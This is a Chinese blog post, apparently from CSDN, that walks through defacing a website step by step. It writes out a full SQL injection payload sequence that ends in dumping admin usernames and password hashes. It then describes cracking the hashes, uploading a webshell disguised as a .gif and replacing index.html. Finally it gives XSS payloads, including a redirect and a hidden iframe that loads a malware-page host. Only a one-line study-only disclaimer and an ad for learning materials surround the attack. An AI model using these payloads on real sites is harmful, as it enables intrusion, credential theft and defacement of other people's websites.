网站篡改入门,一个SQL注入漏洞就能让整个网站大变样,原理详解|!|从SQL注入到XSS攻击,完整还原黑客是如何篡改网站的

网站篡改入门,一个SQL注入漏洞就能让整个网站大变样,原理详解|!|从SQL注入到XSS攻击,完整还原黑客是如何篡改网站的

篡改网站(Deface Website)是渗透测试中常见的攻击手段之一,通过篡改目标网站的首页内容,可以起到警示、测试甚至恶意宣传的作用。本期文章,我将带大家从基础知识入手,深入解析如何实现网站篡改和利用XSS漏洞进行攻击。

图片


*一、篡改网站的基础知识*

网站篡改的核心是替换目标网站的 index.html 文件,将其内容替换为我们自定义的页面。一旦篡改成功,所有访问该网站的用户都将看到我们上传的页面。以下是实现篡改前需要掌握的三项基础技能:

  1. SQL注入:用于分析目标网站的漏洞,获取数据库权限。
  2. 破解管理员密码:获取目标网站的管理权限。
  3. Shell脚本:通过上传 WebShell 进一步控制网站后台。

*二、如何实现网站篡改*

下面我们通过一个完整的流程,讲解如何锁定目标网站并实现篡改。

*1. 寻找目标网站并测试漏洞*

*1.1 漏洞测试*

以某目标网站为例:

http://www.example.com/news.php?id=5

在 URL 末尾添加单引号 ' 测试是否存在 SQL 注入漏洞:

http://www.example.com/news.php?id=5'

如果页面返回以下类似错误信息:

"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version..."

说明该网站存在 SQL 注入漏洞。

*1.2 修复 URL*

通过添加注释符号使 URL 恢复正常:

http://www.example.com/news.php?id=5'-- --

*2. 利用 SQL 注入获取数据库信息*

*2.1 确定列数*

使用 ORDER BY 语句逐步测试列数,直到出现错误。如下所示:

http://www.example.com/news.php?id=5' order by 1-- -- ← 无错误
http://www.example.com/news.php?id=5' order by 2-- -- ← 无错误
http://www.example.com/news.php?id=5' order by 3-- -- ← 无错误
http://www.example.com/news.php?id=5' order by 4-- -- ← 出现错误

order by 4 报错时,说明该表有 3列

*2.2 使用 UNION 查询数据*

将列位置替换为数据查询:

http://www.example.com/news.php?id=5' union all select 1,2,3-- --

如果页面显示数字 123,说明查询成功。

*2.3 检查 MySQL 版本*

将显示的数字替换为 @@versionversion() 查询 MySQL 版本:

http://www.example.com/news.php?id=5' union all select 1,@@version,3-- --

返回结果如 5.0.45,即为 MySQL 版本。


*3. 获取表名与列名*

*3.1 MySQL 版本小于 5 的情况*

在 MySQL 版本小于 5 时,我们需要猜测表名和列名。例如:

http://www.example.com/news.php?id=5' union all select 1,username,3 from admin-- --

如果页面显示用户名,说明表名为 admin,列名为 username

*3.2 MySQL 版本大于等于 5 的情况*

使用 information_schema 获取表名和列名:

http://www.example.com/news.php?id=5' union all select 1,table_name,3 from information_schema.tables-- --

通过 LIMIT 遍历表名:

http://www.example.com/news.php?id=5' union all select 1,table_name,3 from information_schema.tables limit 0,1-- --
http://www.example.com/news.php?id=5' union all select 1,table_name,3 from information_schema.tables limit 1,1-- --

类似方法获取列名:

http://www.example.com/news.php?id=5' union all select 1,column_name,3 from information_schema.columns-- --
*3.3 提取用户信息*

使用 concat() 拼接数据:

http://www.example.com/news.php?id=5' union all select 1,concat(username,0x3a,password),3 from admin-- --

返回结果格式为 username:password


*4. 破解管理员密码*

*4.1 使用在线工具破解哈希*

常用工具包括:

  • MD5 Decrypter
  • CrackStation

*5. 寻找管理员登录页面*

*5.1 使用 Admin Finder 工具*

推荐工具:

  • Zone-XSEC Admin Finder
  • Prinsh Admin Finder

*6. 上传 WebShell 并替换首页*

*6.1 上传 WebShell*

通过下载 WebShell 获取控制权限:

  • Prinsh Shell Downloader

如果网站不允许上传 .php 文件,可以将文件重命名为 webshell.php.gif

*6.2 替换首页文件*

访问上传的 WebShell,例如:

http://www.site.com/images/webshell.php.gif

进入控制面板后,找到 index.html 文件,将其替换为您自定义的页面。


*三、利用 XSS 漏洞篡改网站*

对于存在 XSS 漏洞的网站,可以通过以下脚本实现篡改:

  1. 更改背景颜色
 http://www.targetwebsite.com/<script>document.body.bgColor="red";</script>
  
  1. 更改背景图片
<script>document.body.background="http://your_image.jpg";</script>
  1. 重定向到自定义页面

上传篡改页面到 pastehtml.com,然后使用以下脚本:

<script>window.location="http://pastehtml.com/your_page";</script>
  1. 注入广告
<iframe src="http://malwarewebpages/web.html" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>

*总结*

通过 SQL 注入和 XSS 漏洞,我们可以实现对网站内容的篡改。在实际测试中,手动操作更能帮助您理解漏洞原理,提升技术水平。

声明:本文仅供学习和研究使用,严禁用于非法用途!如发现漏洞,请及时联系网站管理员修复

学习计划安排

这里我整合并且整理成了一份【282G】的网络安全从零基础入门到进阶资料包,需要的小伙伴可以扫描下方优快云官方合作二维码免费领取哦,无偿分享!!!

如果你对网络安全入门感兴趣,那么你需要的话可以

点击这里👉网络安全重磅福利:入门&进阶全套282G学习资源包免费分享!

①网络安全学习路线
②上百份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥HW护网行动经验总结
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值